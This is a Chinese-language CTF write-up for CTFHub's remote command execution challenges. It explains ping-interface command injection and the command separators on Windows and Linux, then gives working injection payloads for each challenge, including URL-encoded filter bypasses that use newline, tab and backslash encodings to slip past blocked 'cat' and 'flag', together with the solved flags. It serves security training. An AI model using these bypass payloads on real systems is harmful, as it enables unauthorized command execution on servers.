CTFHub題解-技能樹-Web-Web工具配置-RCE

知識點:
RCE 英文全稱:remote command/code execute(遠程命令/代碼執行漏洞);
RCE分為遠程命令執行ping和遠程代碼執行evel。
漏洞出現的原因:沒有在輸入口做輸入處理。
我們常見的路由器、防火牆、入侵檢測等設備的web管理界面上。
一般會給用戶提供一個ping操作的web界面,用戶從web界面輸入目標IP,提交后,后台會對該IP地址進行一次ping測試,並返回測試結果。其實這就是一個接口,可以讓攻擊者直接向后台服務器遠程注入操作系統命令或者代碼,從而控制后台系統,這就是RCE漏洞。
Windows系統支持的管道符如下:
1. “|”:直接執行后面的語句。 2. “||”:如果前面的語句執行失敗,則執行后面的語句,前面的語句只能為假才行。 3. “&”:兩條命令都執行,如果前面的語句為假則直接執行后面的語句,前面的語句可真可假。 4. “&&”:如果前面的語句為假則直接出錯,也不執行后面的語句,前面的語句為真則兩條命令都執行,前面的語句只能為真。
Linux系統支持的管道符如下:
1. “;”:執行完前面的語句再執行后面的語句。 2. “|”:顯示后面語句的執行結果。 3. “||”:當前面的語句執行出錯時,執行后面的語句。 4. “&”:兩條命令都執行,如果前面的語句為假則執行執行后面的語句,前面的語句可真可假。 5. “&&”:如果前面的語句為假則直接出錯,也不執行后面的語句,前面的語句為真則兩條命令都執行,前面的語句只能為真。
(四)過濾目錄分隔符

1.知識點
(1)過濾了目錄分隔符 / ,那么我們就 cd 命令進入對應的目錄。
(2)base64轉碼
2.題解

由於過濾了 / ,那么我們就要考慮先切換到相應目錄哦~
命令:127.0.0.1&cd flag_is_here;ls
cd 進入flag_is_here目錄,
ls 顯示flag_is_here目錄里的內容。


base64解碼~

ctfhub{acb49c198ba30cab5adbfe892f2c27257923ba59}
查看源碼法:
命令:127.0.0.1&cd flag_is_here;cat flag_2358135701011.php


(五)過濾運算符

1.知識點
(1)過濾了 | 與 & ,那我們就使用 ; 分隔命令來代替
(2)base64解碼
2.題解

過濾了 | 與 & ,那我們就使用 ; 分隔命令來代替

命令:127.0.0.1;cat flag_286805817220.php
查看源碼~


base64解碼法:
命令:127.0.0.1;base64 flag_286805817220.php
注意:
127.0.0.1;cat flag_35923221712564.php|base64 =
127.0.0.1;base64 flag_35923221712564.php


ctfhub{bd7e43c24829f7227556cb9e0371764fcfe22a78}
(六)綜合過濾練習

1.知識點
url補充表


在本題目中我們會用到:
%0a 代替 換行 ,
%09 代替 TAB鍵 (因為flag被過濾了,所以我們通過TAB來補全flag_is_here)
%5c 代替 \(用 \ 來分隔開 cat ,因為 cat 也被過濾了qwq)
2.題解

這里需要用到火狐的插件
Hackbar
注意:
在Chrome瀏覽器,題目的命令框輸入
127.0.0.1%0als ,不起作用哦~

因此需要在url處修改~

我們繼續用火狐的hackbar做這道題目吧~

查看flag_is_here文件夾下的文件:
127.0.0.1%0als%09*is_here

命令:127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_73122415714959.php
注:%0a代替換行,%09代替TAB鍵(因為flag被過濾了,所以我們通過TAB來補全flag_is_here)
%5c代替\(用\來分隔開cat,因為cat也被過濾了qwq)

查看源碼~

ctfhub{eadba433029f76d5d9342ef56a932bd3093f5ca1}

完成啦~
平台題目上新之后,筆者也會持續更新噠~
參考資料:
https://blog.csdn.net/gui1401/article/details/83287773
https://www.cnblogs.com/chalan630/p/12542239.html